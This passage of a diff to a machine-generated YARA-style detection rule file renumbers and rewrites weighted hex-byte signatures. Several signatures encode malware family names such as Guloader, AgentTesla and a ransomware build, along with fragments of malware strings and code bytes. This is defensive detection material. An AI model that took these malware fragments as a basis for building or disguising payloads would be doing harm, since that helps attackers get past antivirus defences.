6c 6c 65 72 01 00 2d 81 01 5c 43 6f 6e 74 72 6f 6c 5c 53 65 73 73 69 6f 6e 20 4d 61 6e 61 67 65 72 5c 46 69 6c 65 52 65 6e 61 6d 65 4f 70 65 72 61 74 69 6f 6e 73 01 00 28 81 01 } //28239 + condition: + ((#a_46_0 & 1)*21283+(#a_c8_1 & 1)*18432+(#a_00_2 & 1)*144+(#a_44_3 & 1)*18433+(#a_65_4 & 1)*28239) >=4 + +} +rule _InfrastructureShared_18085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -201285,7 +214735,7 @@ rule _InfrastructureShared_16970{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*30034+(#a_63_2 & 1)*29472+(#a_39_3 & 1)*13620+(#a_46_4 & 1)*13122+(#a_38_5 & 1)*16948) >=4 } -rule _InfrastructureShared_16971{ +rule _InfrastructureShared_18086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -201302,7 +214752,7 @@ rule _InfrastructureShared_16971{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*17988+(#a_31_2 & 1)*17730+(#a_34_3 & 1)*17209+(#a_01_4 & 1)*30720+(#a_5f_5 & 1)*26999+(#a_33_6 & 1)*25972+(#a_00_7 & 1)*99) >=4 } -rule _InfrastructureShared_16972{ +rule _InfrastructureShared_18087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -201321,7 +214771,7 @@ rule _InfrastructureShared_16972{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*5631+(#a_00_2 & 1)*68+(#a_32_3 & 1)*11877+(#a_00_5 & 1)*102+(#a_00_6 & 1)*112+(#a_e8_7 & 1)*-31607+(#a_00_8 & 1)*0+(#a_24_9 & 1)*-30416+(#a_94_10 & 1)*-17785) >=4 } -rule _InfrastructureShared_16973{ +rule _InfrastructureShared_18088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -201332,7 +214782,7 @@ rule _InfrastructureShared_16973{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*102) >=5 } -rule _InfrastructureShared_16974{ +rule _InfrastructureShared_18089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -201341,12 +214791,12 @@ rule _InfrastructureShared_16974{ $a_00_1 = {01 00 32 02 48 89 44 24 70 48 8b 54 24 70 31 c0 89 c1 41 b8 00 10 00 00 41 b9 40 00 00 00 e8 90 01 04 48 89 44 24 68 48 89 84 24 e0 03 00 00 48 8b 4c 24 68 90 00 01 00 3c 01 48 c7 44 24 38 00 00 00 00 c7 44 24 30 00 00 00 00 c7 44 24 28 00 10 00 00 c7 44 24 20 00 10 00 00 4c 89 f9 8b 94 24 00 01 00 00 8b ac 24 08 01 00 00 41 89 e8 41 b9 01 00 00 00 e8 01 00 2a 01 48 89 44 24 40 48 8b 84 24 38 02 00 00 48 89 44 24 38 48 89 5c 24 } //0 $a_24_2 = {c7 44 24 20 01 00 00 00 45 31 c0 45 31 c9 e8 01 00 1d 01 70 69 70 65 5c 5f 5f 72 75 73 74 5f 61 6e 6f 6e 79 6d 6f 75 73 5f 70 69 70 65 31 5f 5f 00 00 78 1c 01 00 05 00 05 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 69 6c 79 56 69 6e 79 61 72 64 2e 43 21 64 68 61 00 01 00 12 01 e6 89 a7 e8 a1 8c e5 } //-30416 $a_94_3 = {3a 20 25 73 0a 00 01 00 12 01 e6 89 a7 e8 a1 8c e7 bb 93 e6 9e 9c 3a 0a 25 73 0a 00 01 00 1e 01 e8 af b7 e8 be 93 e5 85 a5 e8 a6 81 e6 89 a7 e8 a1 8c e7 9a 84 e5 91 bd e4 bb a4 3e 20 00 01 00 2c 01 e5 91 bd e4 bb a4 e8 a1 8c e6 b5 8b e8 af 95 e7 a8 8b e5 ba 8f 20 28 e8 be 93 e5 85 a5 27 65 78 69 74 27 e9 80 80 e5 87 ba 29 0a 00 01 00 1c 01 45 52 52 4f 52 3a 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 70 69 70 65 00 01 00 1f 01 45 52 52 4f 52 3a 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 70 72 6f 63 65 73 73 00 01 00 16 01 45 52 52 4f 52 3a 49 6e 76 61 6c 69 64 20 63 6f 6d 6d 61 6e 64 00 01 00 10 01 45 52 52 4f 52 3a 74 69 6d 65 64 20 6f 75 74 00 00 00 78 1c 01 00 07 00 07 00 } //-17785 - $a_23_4 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 45 31 32 33 21 4d 54 42 00 01 00 } //7 + $a_23_4 = {4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d } //7 LF:PUADlManager:Win32/OnePlatform condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0+(#a_24_2 & 1)*-30416+(#a_94_3 & 1)*-17785+(#a_23_4 & 1)*7) >=5 } -rule _InfrastructureShared_16975{ +rule _InfrastructureShared_18090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -201354,15 +214804,31 @@ rule _InfrastructureShared_16975{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 69 6c 79 56 69 6e 79 61 72 64 2e 43 21 64 68 61 00 01 00 12 01 e6 89 a7 e8 a1 8c e5 87 ba e9 94 99 3a 20 25 73 0a 00 01 00 12 01 e6 89 a7 e8 a1 8c e7 bb 93 e6 9e 9c 3a 0a 25 73 0a 00 01 } //16675 $a_e8_1 = {b7 } //7680 $a_e5_2 = {a5 e8 a6 81 e6 89 a7 e8 a1 8c e7 9a 84 e5 91 bd e4 bb a4 3e 20 00 01 00 2c 01 e5 91 bd e4 bb a4 e8 a1 8c e6 b5 8b e8 af 95 e7 a8 8b e5 ba 8f 20 28 e8 be 93 e5 85 a5 27 65 78 69 74 27 e9 80 80 e5 87 ba 29 0a 00 01 00 1c 01 45 52 52 4f 52 3a 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 70 69 70 65 00 01 00 1f 01 45 52 52 4f 52 3a 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 70 72 6f 63 65 73 73 00 01 00 16 01 45 52 52 4f 52 3a } //-16664 - $a_61_3 = {69 64 20 63 6f 6d 6d 61 6e 64 00 01 00 10 01 45 52 52 4f 52 3a 74 69 6d 65 64 20 6f 75 74 00 00 00 78 1c 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 45 31 32 33 21 4d 54 42 00 01 00 08 81 01 68 72 6b 72 6d 6d 65 72 01 00 11 81 01 76 6f 6c 74 65 6e 65 73 20 68 6f 72 73 65 6d 61 6e 01 00 2a 81 01 5c } //28233 - $a_6b_4 = {66 74 65 72 65 6e 5c 74 6f 6d 6d 65 6c 66 69 6e 67 65 72 6e 65 67 6c 73 5c 4f 70 69 6c 69 61 63 65 6f 75 73 01 00 21 81 01 5c 53 70 61 72 69 6e 67 6e 65 73 73 5c 61 6c 6b 6f 68 6f 6c 65 6e 68 65 64 65 72 6e 65 2e 69 6e 69 01 00 21 81 01 78 65 6e 6f 74 72 6f 70 69 63 5c 6f 76 65 72 64 65 63 6f 72 61 74 65 5c 44 72 69 76 65 72 74 65 72 01 00 25 } //25717 - $a_70_5 = {6c 6f 77 69 6e 67 5c 41 6c 6b 61 6c 69 66 69 65 64 31 39 31 5c 74 72 69 6e 69 64 61 64 65 72 65 6e 73 01 00 25 81 01 63 6f 6e 64 79 6c 6f 6d 65 5c 55 6e 69 6e 73 74 61 6c 6c 5c 72 64 73 6c 65 72 6e 65 73 5c 42 79 74 68 32 30 38 00 00 78 1c 01 00 07 00 07 } //385 - $a_52_7 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 4f 30 31 21 4d 54 42 00 01 00 2c 81 01 65 6c 65 66 61 6e 74 6f 72 64 65 6e 65 72 6e 65 73 5c 77 61 6c 65 73 73 74 61 6e 67 65 6e 73 5c 65 76 61 6b 75 65 72 69 6e 67 65 72 01 00 1f 81 01 5c 70 6f 73 } //21320 + $a_61_3 = {69 64 20 63 6f 6d 6d 61 6e 64 00 01 00 10 01 45 52 52 4f 52 3a 74 69 6d 65 64 20 6f 75 74 00 00 00 78 1c 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 31 00 02 00 1e 01 52 65 70 6f 73 5c 44 53 2d 50 6c 61 74 66 6f 72 6d 5c 43 70 70 49 6e 73 74 61 6c 6c 65 72 02 } //28233 + $a_43_4 = {70 } //10240 p + $a_00_6 = {75 00 70 00 2c 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 25 00 73 00 02 00 12 01 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 7a 62 64 01 00 0f 01 44 6f 77 6e 6c 6f 61 64 50 61 67 65 44 4c 4d 01 00 25 01 3c 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 41 63 63 65 70 74 3c 2f 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 01 00 32 01 54 68 } //101 + $a_77_7 = {6c 6c 20 69 6e 73 74 61 6c 6c 20 7b 50 52 4f 44 55 43 54 5f 54 49 54 4c 45 7d 20 6f 6e 20 79 6f } //29545 ll install {PRODUCT_TITLE} on yo condition: - ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*7680+(#a_e5_2 & 1)*-16664+(#a_61_3 & 1)*28233+(#a_6b_4 & 1)*25717+(#a_70_5 & 1)*385+(#a_52_7 & 1)*21320) >=5 + ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*7680+(#a_e5_2 & 1)*-16664+(#a_61_3 & 1)*28233+(#a_43_4 & 1)*10240+(#a_00_6 & 1)*101+(#a_77_7 & 1)*29545) >=5 } -rule _InfrastructureShared_16976{ +rule _InfrastructureShared_18091{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 31 00 02 00 1e 01 52 65 70 6f 73 5c 44 53 2d 50 6c 61 74 66 6f 72 6d 5c 43 70 70 49 6e 73 74 61 6c 6c 65 72 02 00 28 01 43 00 70 00 } //16675 + $a_00_1 = {65 00 74 00 75 00 70 00 2c 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 25 00 73 00 02 00 12 01 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 7a 62 64 01 00 0f 01 44 6f 77 6e 6c 6f 61 64 50 61 67 65 44 4c 4d 01 00 25 01 3c 42 55 54 54 4f } //112 + $a_43_2 = {45 50 54 3e 41 63 63 65 70 74 3c 2f 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 01 00 32 01 54 68 69 73 20 77 69 6c 6c 20 69 6e 73 74 61 6c 6c 20 7b 50 52 4f 44 55 43 54 5f 54 49 54 4c 45 7d 20 6f } //24398 + $a_6f_3 = {72 20 63 6f 6d 70 75 74 65 72 01 00 12 01 50 52 4f 44 55 43 54 5f 44 49 53 43 4c 41 49 4d 45 52 00 00 78 1c 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 45 31 32 33 21 4d 54 42 00 01 00 08 81 01 68 72 6b 72 6d 6d 65 72 01 00 11 81 01 76 6f 6c 74 65 6e 65 73 20 68 6f 72 73 65 6d 61 6e 01 00 2a 81 01 5c 75 64 } //8302 + $a_66_4 = {65 72 65 6e 5c 74 6f 6d 6d 65 6c 66 69 6e 67 65 72 6e 65 67 6c 73 5c 4f 70 69 6c 69 61 63 65 6f 75 73 01 00 21 81 01 5c 53 70 61 72 69 6e 67 6e 65 73 73 5c 61 6c 6b 6f 68 6f 6c 65 6e 68 65 64 65 72 6e 65 2e 69 6e 69 01 00 21 81 01 78 65 6e 6f 74 72 6f 70 69 63 5c 6f 76 65 72 64 65 63 6f 72 61 74 65 5c 44 72 69 76 } //27507 + $a_65_5 = {01 00 25 81 01 55 70 66 6c 6f 77 69 6e 67 5c 41 6c 6b 61 6c 69 66 69 65 64 31 39 31 5c 74 72 69 6e 69 64 61 64 65 72 65 6e 73 01 00 25 81 01 63 6f 6e 64 79 6c 6f 6d 65 5c 55 6e 69 6e 73 74 61 6c 6c 5c 72 64 73 6c 65 72 6e 65 73 5c 42 79 74 68 32 30 38 00 00 78 1c 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //29285 + $a_56_6 = {4f 30 31 21 4d 54 42 00 01 00 2c 81 01 65 6c 65 66 61 6e 74 6f 72 64 65 6e 65 72 6e 65 73 5c 77 61 6c 65 73 73 74 61 6e 67 65 6e 73 5c 65 76 61 6b 75 65 72 69 6e 67 65 72 01 00 1f 81 01 5c 70 6f 73 74 68 75 6d 74 5c 62 72 61 64 79 74 65 6c 65 6f } //11890 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_43_2 & 1)*24398+(#a_6f_3 & 1)*8302+(#a_66_4 & 1)*27507+(#a_65_5 & 1)*29285+(#a_56_6 & 1)*11890) >=7 + +} +rule _InfrastructureShared_18092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -201372,28 +214838,43 @@ rule _InfrastructureShared_16976{ $a_70_2 = {6c 6f 77 69 6e 67 5c 41 6c 6b 61 6c 69 66 69 65 64 31 39 31 5c 74 72 69 6e 69 64 61 64 65 72 65 6e 73 01 00 25 81 01 63 6f 6e 64 79 6c 6f 6d 65 5c 55 6e 69 6e 73 74 61 6c 6c 5c 72 64 73 6c 65 72 6e 65 73 5c 42 79 74 68 32 30 38 00 00 78 1c 01 00 07 00 07 } //385 $a_52_4 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 4f 30 31 21 4d 54 42 00 01 00 2c 81 01 65 6c 65 66 61 6e 74 6f 72 64 65 6e 65 72 6e 65 73 5c 77 61 6c 65 73 73 74 61 6e 67 65 6e 73 5c 65 76 61 6b 75 65 72 69 6e 67 65 72 01 00 1f 81 01 5c 70 6f 73 } //21320 $a_6d_5 = {5c 62 72 61 64 79 74 65 6c 65 6f 6b 69 6e 65 73 69 73 2e 74 76 65 01 00 1c 81 01 25 61 62 73 6f 6c 75 74 69 6f 6e 73 25 5c 45 6e 63 69 6e 63 74 75 72 69 6e 67 33 30 01 00 21 81 01 5c 70 68 61 72 6d 61 63 6f 6c 6f 67 69 65 73 5c 6d 69 73 65 76 61 6c 75 61 74 69 6f 6e 2e 64 6c 6c 01 00 0d 81 01 67 79 6e 65 74 79 70 65 20 74 65 79 73 01 00 1f 81 01 6e } //26740 - $a_65_6 = {69 61 62 6c 65 6e 65 73 73 20 61 75 67 6d 65 6e 74 61 74 69 6f 6e 65 72 73 01 00 1c 81 01 64 69 73 73 69 70 61 74 69 76 65 20 61 66 73 74 75 6d 70 65 6e 64 65 73 2e 65 78 65 00 00 78 1c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 32 21 4d 54 42 00 01 00 0b 80 01 } //28271 + $a_65_6 = {69 61 62 6c 65 6e 65 73 73 20 61 75 67 6d 65 6e 74 61 74 69 6f 6e 65 72 73 01 00 1c 81 01 64 69 73 73 69 70 61 74 69 76 65 20 61 66 73 74 75 6d 70 65 6e 64 65 73 2e 65 78 65 00 00 78 1c 01 00 08 00 08 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 42 48 21 4d 54 42 00 02 00 10 01 ff c0 49 8b cc 30 01 48 } //28271 condition: ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28013+(#a_70_2 & 1)*385+(#a_52_4 & 1)*21320+(#a_6d_5 & 1)*26740+(#a_65_6 & 1)*28271) >=7 } -rule _InfrastructureShared_16977{ +rule _InfrastructureShared_18093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 4f 30 31 21 4d 54 42 00 01 00 2c 81 01 65 6c 65 66 61 6e 74 6f 72 64 65 6e 65 72 6e 65 73 5c 77 61 6c 65 73 73 74 61 6e 67 65 6e 73 5c 65 76 61 6b 75 65 72 69 6e 67 65 72 01 00 1f 81 01 5c 70 } //18467 $a_68_1 = {6d 74 5c 62 72 61 64 79 74 65 6c 65 6f 6b 69 6e 65 73 69 73 2e 74 76 65 01 00 1c 81 01 25 61 62 73 6f 6c 75 74 69 6f 6e 73 25 5c 45 6e 63 69 6e 63 74 75 72 69 6e 67 33 30 01 00 21 81 01 5c 70 68 61 72 6d 61 63 6f 6c 6f 67 69 65 73 5c 6d 69 73 65 76 61 6c 75 61 74 69 6f 6e 2e 64 6c 6c 01 00 0d 81 01 67 79 6e 65 74 79 70 65 20 74 65 79 73 01 00 1f } //29551 - $a_6f_2 = {72 65 6c 69 61 62 6c 65 6e 65 73 73 20 61 75 67 6d 65 6e 74 61 74 69 6f 6e 65 72 73 01 00 1c 81 01 64 69 73 73 69 70 61 74 69 76 65 20 61 66 73 74 75 6d 70 65 6e 64 65 73 2e 65 78 65 00 00 78 1c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 32 21 4d 54 } //385 - $a_00_3 = {0b } //66 - $a_6f_4 = {68 61 72 41 72 72 61 79 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 2a 80 01 43 6f 6e 74 72 6f 6c 65 50 6f 72 54 77 69 74 74 65 72 2e 66 72 6d 50 61 72 61 6d 65 } //384 - $a_73_5 = {72 65 73 6f 75 72 63 65 73 01 00 17 80 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 0e 80 01 53 70 6c 69 74 43 6f 6e 74 61 69 6e 65 72 01 00 26 80 01 43 6f 6e 74 72 6f 6c 65 50 6f 72 54 77 69 74 74 65 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 80 01 53 74 72 52 65 76 65 } //29300 - $a_01_6 = {00 09 80 01 67 65 74 5f 43 68 61 72 73 01 00 07 80 01 52 65 70 6c 61 63 65 00 00 78 1c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 57 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 } //29554 + $a_6f_2 = {72 65 6c 69 61 62 6c 65 6e 65 73 73 20 61 75 67 6d 65 6e 74 61 74 69 6f 6e 65 72 73 01 00 1c 81 01 64 69 73 73 69 70 61 74 69 76 65 20 61 66 73 74 75 6d 70 65 6e 64 65 73 2e 65 78 65 00 00 78 1c 01 00 08 00 08 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 42 48 21 4d 54 42 00 02 00 10 01 ff } //385 + $a_cc_3 = {01 48 8d 49 01 48 83 eb 01 75 01 00 1a 01 65 6e 63 72 79 70 74 65 64 5f 66 69 6c 65 73 5f 72 65 63 6f 72 64 2e 74 78 74 01 00 43 01 57 54 53 74 79 5f 39 63 59 45 39 5a 51 53 5f 4c 63 32 68 58 36 68 66 53 56 7a 36 69 4d 4a 49 52 76 69 6f 78 32 38 39 34 5f 57 44 70 31 4c 78 45 44 2d 6a 6a 6a 2d 32 7a 76 37 66 45 53 53 4d 4d 54 69 31 01 00 21 01 57 69 6e 64 6f 77 73 2d 31 31 2d 78 36 34 2d 52 61 6e 73 6f 6d 77 61 72 } //18880 + $a_2b_4 = {2e 70 64 62 01 00 1f 01 43 6f 75 6c 64 20 6e 6f 74 20 77 72 69 74 65 20 64 65 63 72 79 70 74 65 64 20 66 69 6c 65 3a 01 00 16 01 5b 54 61 73 6b 53 63 68 65 64 75 6c 65 72 20 45 72 72 6f 72 5d 20 01 00 } //11621 + $a_6e_5 = {65 72 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 3a 00 00 78 1c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 32 21 4d 54 42 00 } //277 + $a_80_6 = {54 6f 43 68 61 72 41 72 72 61 79 } //ToCharArray 1 condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*29551+(#a_6f_2 & 1)*385+(#a_00_3 & 1)*66+(#a_6f_4 & 1)*384+(#a_73_5 & 1)*29300+(#a_01_6 & 1)*29554) >=7 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*29551+(#a_6f_2 & 1)*385+(#a_cc_3 & 1)*18880+(#a_2b_4 & 1)*11621+(#a_6e_5 & 1)*277+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_16978{ +rule _InfrastructureShared_18094{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 42 48 21 4d 54 42 00 02 00 10 01 ff c0 49 8b cc 30 01 48 8d 49 01 48 83 eb 01 75 01 00 1a 01 65 6e 63 72 79 70 74 65 64 5f 66 69 6c 65 73 5f 72 65 63 6f 72 64 2e 74 78 74 01 00 43 01 57 54 53 } //18467 + $a_39_1 = {59 45 39 5a 51 53 5f 4c 63 32 68 58 36 68 66 53 56 7a 36 69 4d 4a 49 52 76 69 6f 78 32 38 39 34 5f 57 44 70 31 4c 78 45 44 2d 6a 6a 6a 2d 32 7a 76 37 66 45 53 53 4d 4d 54 69 31 01 00 21 01 57 69 6e 64 6f 77 73 2d 31 31 2d 78 36 34 2d 52 61 6e 73 6f 6d 77 61 72 65 2d 43 2b 2b 2e 70 64 } //31092 + $a_6c_3 = {20 6e 6f 74 20 77 72 69 74 65 20 64 65 63 72 79 70 74 65 64 20 66 69 6c 65 3a 01 00 16 01 5b 54 61 73 6b 53 63 68 65 64 75 6c 65 72 20 45 72 72 6f 72 5d 20 01 00 15 01 45 6e 74 65 72 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 3a 00 00 78 1c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //28483 + $a_49_4 = {32 21 4d 54 42 00 01 00 0b 80 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 2a 80 01 43 6f 6e 74 72 6f 6c 65 50 6f 72 54 77 69 74 74 } //11873 + $a_66_5 = {6d 50 61 72 61 6d 65 74 72 6f 73 2e 72 65 73 6f 75 72 63 65 73 01 00 17 80 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 } //29285 + $a_01_6 = {00 0e 80 01 53 70 6c 69 74 43 6f 6e 74 61 69 6e 65 72 01 00 26 80 01 43 6f 6e 74 72 6f 6c 65 50 6f 72 54 77 69 74 74 65 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 09 80 01 67 65 74 5f 43 68 61 72 73 01 00 07 80 01 52 65 70 6c 61 63 } //29813 + condition: + ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*31092+(#a_6c_3 & 1)*28483+(#a_49_4 & 1)*11873+(#a_66_5 & 1)*29285+(#a_01_6 & 1)*29813) >=8 + +} +rule _InfrastructureShared_18095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -201402,17 +214883,55 @@ rule _InfrastructureShared_16978{ $a_69_1 = {64 69 6e 67 01 00 2a 80 01 43 6f 6e 74 72 6f 6c 65 50 6f 72 54 77 69 74 74 65 72 2e 66 72 6d 50 61 72 61 6d 65 74 72 6f 73 2e 72 65 73 6f 75 72 63 65 73 01 00 17 80 01 44 65 62 75 67 67 65 72 48 69 } //25972 $a_6e_2 = {74 74 72 69 62 75 74 65 01 00 0e 80 01 53 70 6c 69 74 43 6f 6e 74 61 69 6e 65 72 01 00 26 80 01 43 6f 6e 74 72 6f 6c 65 50 6f 72 54 77 69 74 74 65 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 09 80 01 67 65 74 5f 43 68 61 72 73 01 00 } //25700 $a_52_3 = {70 } //-32761 p - $a_65_4 = {00 78 1c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 57 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 12 80 01 67 65 74 5f 52 65 66 6c 65 63 74 69 6f 6e 45 6d 69 74 01 00 } //24940 - $a_52_5 = {66 } //-32754 f - $a_74_6 = {6f 6e 45 6d 69 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0f 80 01 43 } //25964 - $a_72_7 = {72 61 6e 73 6c 61 74 6f 72 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 22 80 01 53 74 61 72 45 67 67 43 6f 6e 74 72 6f 6c 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 05 80 01 53 6c 65 65 70 00 00 78 1c 01 00 14 00 14 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //27759 - $a_2e_8 = {4a 32 33 21 4d 54 42 00 0a 00 1b 81 01 75 00 6e 00 69 00 66 00 75 00 5f 00 54 00 65 00 00 0b 78 00 74 00 42 00 6f 00 78 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 } //27763 - $a_00_9 = {09 } //26478 + $a_65_4 = {00 78 1c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 46 21 4d 54 42 00 01 00 18 81 01 5c 46 6f 72 6c 73 5c 46 6f 72 68 72 64 65 6c 73 65 72 6e 65 2e 69 6e 69 01 00 1c 81 01 5c 70 6c 61 6e 74 64 6f 6d 5c 53 6b 69 6c 64 76 61 } //24940 + $a_72_5 = {39 35 2e 64 6c 6c 01 00 11 81 01 5c 49 6d 70 72 67 6e 65 72 65 64 65 73 2e 62 69 6e 01 00 0c 81 01 43 72 61 6e 65 6d 61 6e 2e 69 6e 69 01 00 11 81 01 49 73 6f 67 61 6d 65 74 69 63 31 38 37 2e 66 6f 72 01 00 0d 81 01 4d 65 72 6f 70 65 31 33 34 2e 6a 61 69 01 00 19 81 01 63 61 6c 6d 65 74 74 65 76 61 63 } //29799 + $a_61_6 = {69 6f 6e 65 6e 2e 64 69 66 01 00 10 81 01 5c 53 65 6c 69 6e 64 61 73 31 38 30 2e 68 74 6d 01 00 10 81 01 5c 4d 65 74 72 6f 70 61 74 68 69 61 2e 7a 69 70 01 00 15 81 01 5c 46 61 6c 68 6f 6c 64 65 73 5c 55 6e 64 72 65 73 2e 69 6e 69 00 00 78 1c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 